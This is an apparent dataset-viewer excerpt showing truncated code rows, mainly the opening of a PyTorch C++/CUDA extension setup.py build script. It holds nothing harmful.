os.path.join(CUR_FOLDER, 'j... | null |
3,868 | from setuptools import find_packages, setup
import os
import subprocess
import sys
import time
import torch
from torch.utils.cpp_extension import (BuildExtension, CppExtension,
CUDAExtension)
def readme():
return ''
# with open('README.md', encoding='utf-8') as f:
# ... | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.